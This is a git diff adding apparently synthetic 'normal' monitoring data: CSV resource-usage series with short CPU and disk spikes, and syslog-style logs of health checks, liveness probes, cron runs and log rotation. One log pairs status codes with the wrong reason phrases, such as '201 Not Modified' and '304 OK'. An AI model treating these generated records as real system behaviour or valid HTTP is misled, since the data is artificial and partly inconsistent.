10:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:35 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:01:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:20 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:40 systemd[1]: Starting Log Rotation... +Aug 22 10:03:45 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 22 10:03:50 logrotate[6789]: Reading state from /var/lib/logrotate/status +Aug 22 10:03:55 systemd[1]: logrotate.service: Succeeded. +Aug 22 10:04:00 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:40 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:00 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:40 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:07:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_2/norm_2_3.csv b/norm_dataset/scenario_2/norm_2_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..04ca4545c1c7a72dd15adc984be1b39255f3094b --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,16.1,39.14,42.84,1.05,1.07 +2025-07-03T10:00:05Z,16.53,41.26,27.46,1.09,0.72 +2025-07-03T10:00:10Z,15.88,38.9,29.5,1.5,0.76 +2025-07-03T10:00:15Z,14.03,40.97,32.22,0.64,0.69 +2025-07-03T10:00:20Z,19.38,40.76,36.59,0.66,0.7 +2025-07-03T10:00:25Z,11.67,33.6,35.21,1.21,0.87 +2025-07-03T10:00:30Z,13.09,34.16,25.61,0.83,1.0 +2025-07-03T10:00:35Z,13.21,38.05,27.89,0.94,0.84 +2025-07-03T10:00:40Z,18.64,40.11,29.67,0.94,0.95 +2025-07-03T10:00:45Z,13.18,42.9,28.04,1.18,0.68 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a/norm_dataset/scenario_2/norm_2_3.log b/norm_dataset/scenario_2/norm_2_3.log new file mode 100644 index 0000000000000000000000000000000000000000..af8e2d6eb7ff14628b10945c9964249c23df3187 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_3.log @@ -0,0 +1,28 @@ +Jul 03 10:00:00 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 03 10:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:01:10 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 03 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:01:45 web-app[1235]: GET /api/v1/user/34 status=200 OK +Jul 03 10:02:05 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:20 web-app[1235]: GET /api/v1/user/34 status=200 OK +Jul 03 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:02:55 web-app[1234]: GET /api/v1/user/22 status=200 OK +Jul 03 10:03:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 03 10:03:00 systemd[1]: Starting Daily Log Rotation... +Jul 03 10:03:05 logrotate[6791]: compressing /var/log/nginx/access.log +Jul 03 10:03:10 logrotate[6791]: rotating /var/log/web-app/app.log +Jul 03 10:03:20 systemd[1]: logrotate.service: Succeeded. +Jul 03 10:03:30 web-app[1235]: GET /api/v1/user/15 status=200 OK +Jul 03 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:04:05 web-app[1236]: GET /api/v1/user/12 status=200 OK +Jul 03 10:04:10 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:40 web-app[1236]: GET /api/v1/user/22 status=200 OK +Jul 03 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:05:15 web-app[1234]: GET /api/v1/user/22 status=200 OK +Jul 03 10:05:50 web-app[1235]: GET /api/v1/user/34 status=200 OK +Jul 03 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:25 web-app[1235]: GET /api/v1/user/12 status=200 OK +Jul 03 10:07:00 web-app[1235]: GET /api/v1/user/34 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_30.csv b/norm_dataset/scenario_2/norm_2_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..0e330084612a629a229e0be72931b7288478cffa --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,12.88,44.05,15.78,0.69,1.37 +2025-08-15T10:00:05Z,7.27,38.36,15.01,0.98,1.09 +2025-08-15T10:00:10Z,5.55,37.39,29.72,0.85,1.4 +2025-08-15T10:00:15Z,8.22,35.65,25.39,1.05,1.1 +2025-08-15T10:00:20Z,9.45,39.98,19.05,0.79,0.85 +2025-08-15T10:00:25Z,10.67,41.62,11.14,1.34,0.9 +2025-08-15T10:00:30Z,12.32,42.41,25.52,0.75,0.71 +2025-08-15T10:00:35Z,13.03,39.91,22.47,1.1,1.07 +2025-08-15T10:00:40Z,10.48,39.58,24.79,1.0,1.28 +2025-08-15T10:00:45Z,14.88,39.87,17.11,1.32,1.35 +2025-08-15T10:00:50Z,11.72,37.81,10.96,1.01,1.38 +2025-08-15T10:00:55Z,12.46,39.66,14.46,0.68,1.36 +2025-08-15T10:01:00Z,9.35,40.35,11.88,1.49,0.76 +2025-08-15T10:01:05Z,13.86,36.13,14.27,0.82,0.91 +2025-08-15T10:01:10Z,8.49,42.37,18.6,1.31,0.96 +2025-08-15T10:01:15Z,10.95,43.13,14.75,1.48,0.69 +2025-08-15T10:01:20Z,13.33,35.61,23.38,0.81,1.41 +2025-08-15T10:01:25Z,7.52,35.47,14.94,1.16,0.83 +2025-08-15T10:01:30Z,12.61,43.4,15.42,1.43,0.73 +2025-08-15T10:01:35Z,10.4,40.87,14.37,1.29,0.66 +2025-08-15T10:01:40Z,12.28,43.12,24.76,1.14,1.46 +2025-08-15T10:01:45Z,12.18,38.18,22.82,0.72,1.02 +2025-08-15T10:01:50Z,6.25,44.49,11.25,0.72,1.36 +2025-08-15T10:01:55Z,13.7,36.33,29.21,1.15,1.2 +2025-08-15T10:02:00Z,5.77,36.46,10.99,0.62,0.83 +2025-08-15T10:02:05Z,8.08,43.8,13.6,1.0,1.22 +2025-08-15T10:02:10Z,11.35,38.11,27.03,1.09,0.52 +2025-08-15T10:02:15Z,9.12,37.31,15.78,1.22,0.58 +2025-08-15T10:02:20Z,11.87,39.24,12.93,1.08,0.84 +2025-08-15T10:02:25Z,8.09,36.25,22.63,0.56,0.67 +2025-08-15T10:02:30Z,6.4,42.29,24.08,1.03,1.04 +2025-08-15T10:02:35Z,6.88,44.21,29.52,1.39,0.84 +2025-08-15T10:02:40Z,7.61,43.12,16.45,0.98,1.47 +2025-08-15T10:02:45Z,7.85,44.75,12.57,1.05,0.56 +2025-08-15T10:02:50Z,9.53,39.59,12.31,0.68,1.4 +2025-08-15T10:02:55Z,30.5,41.9,45.1,1.43,0.88 +2025-08-15T10:03:00Z,65.2,47.83,78.9,1.39,0.73 +2025-08-15T10:03:05Z,92.8,47.97,95.3,1.32,1.08 +2025-08-15T10:03:10Z,89.5,47.69,91.2,1.06,1.2 +2025-08-15T10:03:15Z,55.1,39.51,62.7,0.79,1.2 +2025-08-15T10:03:20Z,35.3,47.17,48.9,1.04,1.26 +2025-08-15T10:03:25Z,20.1,41.66,35.5,0.76,1.34 +2025-08-15T10:03:30Z,5.35,38.58,24.72,1.32,0.56 +2025-08-15T10:03:35Z,13.11,37.59,28.94,0.71,0.71 +2025-08-15T10:03:40Z,9.45,42.32,15.12,0.64,1.14 +2025-08-15T10:03:45Z,5.85,44.51,13.17,1.25,1.01 +2025-08-15T10:03:50Z,8.38,38.08,18.74,1.11,1.37 +2025-08-15T10:03:55Z,14.38,40.79,20.96,1.47,0.79 +2025-08-15T10:04:00Z,12.96,37.01,11.44,0.91,0.98 +2025-08-15T10:04:05Z,6.21,37.69,17.42,1.2,1.21 +2025-08-15T10:04:10Z,12.18,35.39,18.46,0.91,1.47 +2025-08-15T10:04:15Z,6.44,35.66,27.28,1.24,1.12 +2025-08-15T10:04:20Z,11.33,43.38,14.01,1.43,0.71 +2025-08-15T10:04:25Z,6.11,36.92,14.77,0.55,0.98 +2025-08-15T10:04:30Z,6.53,38.4,26.46,0.95,0.71 +2025-08-15T10:04:35Z,9.66,37.96,14.24,1.01,0.8 +2025-08-15T10:04:40Z,10.38,44.77,26.99,0.79,1.41 +2025-08-15T10:04:45Z,11.73,37.75,11.64,0.89,0.57 +2025-08-15T10:04:50Z,10.61,43.56,20.74,0.84,0.99 +2025-08-15T10:04:55Z,9.7,37.41,27.74,0.94,0.58 +2025-08-15T10:05:00Z,5.34,36.89,11.26,0.67,0.59 +2025-08-15T10:05:05Z,11.86,38.97,11.9,1.26,0.62 +2025-08-15T10:05:10Z,13.49,42.52,12.54,1.26,0.82 +2025-08-15T10:05:15Z,5.5,41.28,18.07,1.06,1.06 +2025-08-15T10:05:20Z,11.97,38.27,29.08,0.8,1.4 +2025-08-15T10:05:25Z,9.24,42.3,14.84,1.2,0.5 +2025-08-15T10:05:30Z,5.81,36.89,21.04,1.0,1.15 +2025-08-15T10:05:35Z,13.66,44.57,16.46,1.1,1.41 +2025-08-15T10:05:40Z,10.53,38.84,11.36,1.23,0.92 +2025-08-15T10:05:45Z,12.45,37.73,17.38,1.26,1.29 +2025-08-15T10:05:50Z,5.78,41.56,12.93,0.78,0.64 +2025-08-15T10:05:55Z,5.42,35.54,12.09,1.08,0.94 +2025-08-15T10:06:00Z,5.43,44.93,13.87,0.89,0.62 +2025-08-15T10:06:05Z,5.35,38.77,20.34,1.35,0.85 +2025-08-15T10:06:10Z,7.64,39.2,13.27,0.7,1.42 +2025-08-15T10:06:15Z,6.15,41.81,21.43,0.65,0.59 +2025-08-15T10:06:20Z,5.61,38.52,20.82,1.29,1.17 +2025-08-15T10:06:25Z,11.48,36.4,23.82,0.8,0.89 +2025-08-15T10:06:30Z,7.44,44.2,10.94,1.01,1.0 +2025-08-15T10:06:35Z,14.29,40.23,10.61,0.64,1.47 +2025-08-15T10:06:40Z,7.79,35.86,22.67,0.7,0.63 +2025-08-15T10:06:45Z,9.11,38.59,21.46,0.96,1.41 +2025-08-15T10:06:50Z,5.05,37.82,14.64,0.82,1.22 +2025-08-15T10:06:55Z,9.02,36.68,12.69,0.77,1.17 +2025-08-15T10:07:00Z,12.25,40.35,12.69,1.45,1.0 +2025-08-15T10:07:05Z,14.03,40.25,15.12,0.57,1.46 +2025-08-15T10:07:10Z,9.26,35.55,12.22,1.17,1.32 +2025-08-15T10:07:15Z,6.16,42.08,10.35,1.48,0.82 +2025-08-15T10:07:20Z,10.94,41.83,15.78,0.87,0.91 +2025-08-15T10:07:25Z,12.77,41.97,19.24,1.0,1.45 diff --git a/norm_dataset/scenario_2/norm_2_30.log b/norm_dataset/scenario_2/norm_2_30.log new file mode 100644 index 0000000000000000000000000000000000000000..0795fe7b57a2a9b5a53b04cc5bbcf69c7d3d21e0 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_30.log @@ -0,0 +1,35 @@ +Aug 15 10:00:00 systemd[1]: Starting daily network connection upkeep... +Aug 15 10:00:05 web-app[1357]: GET /api/v1/health status=200 OK +Aug 15 10:00:20 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:00:25 web-app[1357]: GET /api/v1/user/12 status=200 OK +Aug 15 10:00:35 systemd[1]: Starting session-c7.scope. +Aug 15 10:00:50 kubelet[2468]: INFO Liveness probe succeeded for pod db-pod +Aug 15 10:00:50 web-app[1357]: GET /api/v1/user/16 status=200 OK +Aug 15 10:01:10 systemd[1]: Starting session-c14.scope. +Aug 15 10:01:15 web-app[1357]: GET /api/v1/user/12 status=200 OK +Aug 15 10:01:40 kubelet[2468]: INFO Liveness probe succeeded for pod db-pod +Aug 15 10:01:40 web-app[1357]: GET /api/v1/user/13 status=200 OK +Aug 15 10:01:45 systemd[1]: Starting session-c21.scope. +Aug 15 10:02:05 web-app[1357]: GET /api/v1/user/12 status=200 OK +Aug 15 10:02:20 systemd[1]: Starting session-c28.scope. +Aug 15 10:02:30 kubelet[2468]: INFO Liveness probe succeeded for pod db-pod +Aug 15 10:02:30 web-app[1357]: GET /api/v1/user/18 status=200 OK +Aug 15 10:02:50 systemd[1]: Starting Clean up of old temporary directories. +Aug 15 10:02:55 CRON[7531]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 15 10:03:00 systemd[1]: Starting Log Rotation... +Aug 15 10:03:05 logrotate[7533]: INFO Rotating pattern: /var/log/nginx/*.log weekly (4 rotations) +Aug 15 10:03:10 logrotate[7533]: INFO Compressing /var/log/nginx/access.log.1 +Aug 15 10:03:20 systemd[1]: logrotate.service: Succeeded. +Aug 15 10:03:30 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 15 10:03:40 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:04:00 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 15 10:04:30 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 15 10:04:35 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:05:00 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 15 10:05:30 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:05:30 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 15 10:06:00 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 15 10:06:25 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:06:30 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 15 10:07:00 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 15 10:07:20 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_2/norm_2_31.csv b/norm_dataset/scenario_2/norm_2_31.csv new file mode 100644 index 0000000000000000000000000000000000000000..3928082d732a48da78249c8dd76bc7b3448cc21c --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_31.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,17.62,38.82,24.42,1.1,0.91 +2025-07-02T12:00:05Z,10.06,38.73,32.52,1.25,0.53 +2025-07-02T12:00:10Z,18.03,40.1,20.43,1.11,0.88 +2025-07-02T12:00:15Z,15.67,37.47,28.68,1.12,1.18 +2025-07-02T12:00:20Z,18.43,40.14,26.38,1.43,1.13 +2025-07-02T12:00:25Z,14.89,40.44,20.33,1.01,0.85 +2025-07-02T12:00:30Z,10.96,39.98,31.65,0.95,1.04 +2025-07-02T12:00:35Z,10.03,39.5,32.71,0.76,0.88 +2025-07-02T12:00:40Z,18.72,37.17,30.63,1.13,1.02 +2025-07-02T12:00:45Z,9.34,39.22,32.66,1.5,0.7 +2025-07-02T12:00:50Z,14.57,38.92,28.73,1.16,1.02 +2025-07-02T12:00:55Z,14.14,40.04,30.07,1.3,0.9 +2025-07-02T12:01:00Z,9.69,40.79,21.99,1.01,0.78 +2025-07-02T12:01:05Z,11.97,40.92,32.42,1.08,1.04 +2025-07-02T12:01:10Z,21.96,37.42,35.2,1.01,0.9 +2025-07-02T12:01:15Z,16.99,41.19,31.14,0.94,0.64 +2025-07-02T12:01:20Z,13.39,38.8,28.88,1.06,0.89 +2025-07-02T12:01:25Z,17.61,39.09,24.76,1.17,1.17 +2025-07-02T12:01:30Z,13.4,40.75,27.0,0.79,1.5 +2025-07-02T12:01:35Z,13.13,42.38,28.67,0.68,1.1 +2025-07-02T12:01:40Z,12.95,39.7,31.38,0.82,0.86 +2025-07-02T12:01:45Z,21.74,40.88,33.82,0.76,0.71 +2025-07-02T12:01:50Z,16.14,40.46,33.32,1.0,0.93 +2025-07-02T12:01:55Z,16.97,38.83,34.45,0.91,0.67 +2025-07-02T12:02:00Z,11.6,39.61,30.93,0.77,1.02 +2025-07-02T12:02:05Z,12.77,39.13,25.44,0.84,0.92 +2025-07-02T12:02:10Z,13.09,42.74,38.34,1.28,1.17 +2025-07-02T12:02:15Z,14.85,41.17,28.02,0.91,0.86 +2025-07-02T12:02:20Z,19.51,38.01,38.06,1.38,0.9 +2025-07-02T12:02:25Z,12.0,39.45,28.74,0.6,0.98 +2025-07-02T12:02:30Z,10.0,39.08,34.75,0.79,0.98 +2025-07-02T12:02:35Z,17.56,36.8,25.97,0.8,0.88 +2025-07-02T12:02:40Z,12.02,40.92,36.36,0.85,0.94 +2025-07-02T12:02:45Z,11.49,37.53,17.25,0.97,1.09 +2025-07-02T12:02:50Z,12.38,38.67,36.79,0.95,0.78 +2025-07-02T12:02:55Z,17.87,40.6,38.92,1.19,0.68 +2025-07-02T12:03:00Z,15.16,40.48,28.68,0.89,0.91 +2025-07-02T12:03:05Z,18.7,38.05,27.9,1.4,0.87 +2025-07-02T12:03:10Z,15.15,42.32,26.87,1.17,0.78 +2025-07-02T12:03:15Z,13.02,37.27,24.94,0.72,0.68 +2025-07-02T12:03:20Z,15.69,40.18,30.95,1.16,0.85 +2025-07-02T12:03:25Z,14.39,38.35,19.85,1.09,0.99 +2025-07-02T12:03:30Z,16.78,39.16,33.95,1.08,0.91 +2025-07-02T12:03:35Z,20.88,36.02,38.7,1.12,0.76 +2025-07-02T12:03:40Z,9.96,40.89,28.52,0.99,1.12 +2025-07-02T12:03:45Z,87.64,42.45,91.01,1.22,0.51 +2025-07-02T12:03:50Z,75.83,38.96,89.76,0.98,1.03 +2025-07-02T12:03:55Z,15.57,43.01,34.5,0.82,0.8 +2025-07-02T12:04:00Z,14.34,38.06,37.32,0.88,1.09 +2025-07-02T12:04:05Z,22.99,39.61,32.74,0.98,0.87 +2025-07-02T12:04:10Z,18.2,38.53,33.28,0.73,0.55 +2025-07-02T12:04:15Z,18.11,40.91,24.54,0.78,0.54 +2025-07-02T12:04:20Z,14.6,40.17,26.45,0.77,0.71 +2025-07-02T12:04:25Z,13.43,40.02,32.26,0.86,1.14 +2025-07-02T12:04:30Z,16.05,42.4,30.9,1.01,0.96 +2025-07-02T12:04:35Z,21.73,41.88,35.41,1.09,0.77 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GET /api/v1/user/25 status=200 Not Modified +Jul 02 12:00:30 web-app[1234]: GET /api/v1/user/25 status=200 Created +Jul 02 12:00:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:00:40 web-app[1234]: GET /api/v1/user/256 status=304 OK +Jul 02 12:00:50 web-app[1234]: GET /api/v1/user/101 status=201 Created +Jul 02 12:01:00 web-app[1234]: GET /api/v1/user/101 status=201 Not Modified +Jul 02 12:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:01:15 web-app[1234]: GET /api/v1/user/256 status=304 Not Modified +Jul 02 12:01:20 web-app[1234]: GET /api/v1/user/256 status=201 OK +Jul 02 12:01:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:50 web-app[1234]: GET /api/v1/user/256 status=304 Not Modified +Jul 02 12:02:00 web-app[1234]: GET /api/v1/user/48 status=201 Created +Jul 02 12:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:20 web-app[1234]: GET /api/v1/user/48 status=304 Not Modified +Jul 02 12:02:30 web-app[1234]: GET /api/v1/user/48 status=201 Not Modified +Jul 02 12:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:40 web-app[1234]: GET /api/v1/user/48 status=200 Created +Jul 02 12:03:00 web-app[1234]: GET /api/v1/user/25 status=304 OK +Jul 02 12:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:03:10 web-app[1234]: GET /api/v1/user/12 status=200 Created +Jul 02 12:03:20 web-app[1234]: GET /api/v1/user/25 status=201 Not Modified +Jul 02 12:03:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:03:40 web-app[1234]: GET /api/v1/user/256 status=201 OK +Jul 02 12:03:45 CRON[4812]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:03:45 systemd[1]: Starting Daily rotation of log files... +Jul 02 12:03:50 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:04:00 web-app[1234]: GET /api/v1/user/256 status=201 OK +Jul 02 12:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:10 web-app[1234]: GET /api/v1/user/25 status=200 OK +Jul 02 12:04:20 web-app[1234]: GET /api/v1/user/25 status=200 OK +Jul 02 12:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:40 web-app[1234]: GET /api/v1/user/256 status=201 OK +Jul 02 12:05:00 web-app[1234]: GET /api/v1/user/12 status=304 Not Modified +Jul 02 12:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:15 web-app[1234]: GET /api/v1/user/256 status=201 Created +Jul 02 12:05:30 web-app[1234]: GET /api/v1/user/101 status=201 OK +Jul 02 12:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:00 web-app[1234]: GET /api/v1/user/25 status=200 OK +Jul 02 12:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:15 web-app[1234]: GET /api/v1/user/256 status=201 OK +Jul 02 12:06:20 web-app[1234]: GET /api/v1/user/256 status=201 Created +Jul 02 12:06:30 web-app[1234]: GET /api/v1/user/25 status=200 Not Modified +Jul 02 12:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:50 web-app[1234]: GET /api/v1/user/101 status=304 Not Modified +Jul 02 12:07:00 web-app[1234]: GET /api/v1/user/256 status=201 Not Modified +Jul 02 12:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_2/norm_2_32.csv b/norm_dataset/scenario_2/norm_2_32.csv new file mode 100644 index 0000000000000000000000000000000000000000..0e8d1881e851e44924715c6f67e5cbcac41f0400 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_32.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-24T10:07:20Z,15.391552967955038,36.42778475798826,22.36458803544842,1.1111607502120422,0.7337232852759816 +2025-08-24T10:07:25Z,14.972735469929773,43.79685605542882,28.454522954053253,0.6626308992334595,0.6138769757796866 diff --git a/norm_dataset/scenario_2/norm_2_32.log b/norm_dataset/scenario_2/norm_2_32.log new file mode 100644 index 0000000000000000000000000000000000000000..55f5aa09de29f7fe87d74d39b5c3d979bfa60e2e --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_32.log @@ -0,0 +1,22 @@ +Aug 24 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 24 10:00:00 web-app[1234]: GET /api/v1/user/18 status=200 OK +Aug 24 10:00:35 web-app[1234]: GET /api/v1/user/17 status=200 OK +Aug 24 10:01:10 web-app[1234]: GET /api/v1/user/13 status=200 OK +Aug 24 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 24 10:01:45 web-app[1234]: GET /api/v1/user/16 status=200 OK +Aug 24 10:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 24 10:02:55 web-app[1234]: GET /api/v1/user/10 status=200 OK +Aug 24 10:03:30 web-app[1234]: GET /api/v1/user/14 status=200 OK +Aug 24 10:03:45 logrotate[6789]: Compressing and rotating logs for /var/log/nginx/access.log +Aug 24 10:03:45 systemd[1]: Started Log Rotation. +Aug 24 10:03:47 logrotate[6789]: old log /var/log/nginx/access.log.1 renamed to /var/log/nginx/access.log.2.gz +Aug 24 10:03:49 logrotate.service: Succeeded. +Aug 24 10:04:00 web-app[1234]: GET /api/v1/data status=200 OK +Aug 24 10:04:30 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:04:40 web-app[1234]: GET /api/v1/data status=200 OK +Aug 24 10:05:20 web-app[1234]: GET /api/v1/data status=200 OK +Aug 24 10:06:00 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:06:00 web-app[1234]: GET /api/v1/data status=200 OK +Aug 24 10:06:40 web-app[1234]: GET /api/v1/data status=200 OK +Aug 24 10:07:20 web-app[1234]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_33.csv b/norm_dataset/scenario_2/norm_2_33.csv new file mode 100644 index 0000000000000000000000000000000000000000..1308af88a5c0fc348771f664aaca96da65eae40d --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_33.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,13.75,38.84,20.12,1.37,0.93 +2025-08-22T10:00:05Z,19.93,42.99,16.7,1.37,1.09 +2025-08-22T10:00:10Z,18.16,43.33,28.87,1.41,0.97 +2025-08-22T10:00:15Z,17.22,41.93,28.16,1.44,1.03 +2025-08-22T10:00:20Z,13.17,43.4,18.87,1.16,1.26 +2025-08-22T10:00:25Z,13.51,41.46,24.9,1.15,0.93 +2025-08-22T10:00:30Z,12.83,41.66,27.26,1.36,1.28 +2025-08-22T10:00:35Z,21.17,40.99,23.33,1.25,1.24 +2025-08-22T10:00:40Z,18.72,38.18,22.94,1.29,0.82 +2025-08-22T10:00:45Z,19.95,38.76,18.63,1.36,0.74 +2025-08-22T10:00:50Z,13.17,38.22,16.4,1.42,0.76 +2025-08-22T10:00:55Z,22.7,42.45,28.46,1.04,0.71 +2025-08-22T10:01:00Z,21.3,40.2,28.51,1.06,0.76 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0000000000000000000000000000000000000000..02e44319423e41d8e2f962200dfc10bd77159358 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_33.log @@ -0,0 +1,41 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:16 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:24 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:43 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 10:00:58 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:11 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:24 web-app[1234]: GET /api/v1/user/41 status=200 OK +Aug 22 10:01:36 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:01:49 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:07 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:02:19 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:02:29 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:49 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:05 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:13 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:25 systemd[1]: Starting Log Rotation... +Aug 22 10:03:26 logrotate[6789]: Reading configuration file /etc/logrotate.conf +Aug 22 10:03:27 logrotate[6789]: Rotating pattern: /var/log/web-app/*.log weekly (4 rotations) +Aug 22 10:03:28 logrotate[6789]: considering log /var/log/web-app/access.log +Aug 22 10:03:28 logrotate[6789]: log needs rotating +Aug 22 10:03:29 logrotate[6789]: rotating log /var/log/web-app/access.log, log-size 1.5G > 1G +Aug 22 10:03:30 logrotate[6789]: renaming /var/log/web-app/access.log to /var/log/web-app/access.log.1 +Aug 22 10:03:31 logrotate[6789]: creating new /var/log/web-app/access.log mode = 0640 user = webadmin group = web +Aug 22 10:03:33 logrotate[6789]: 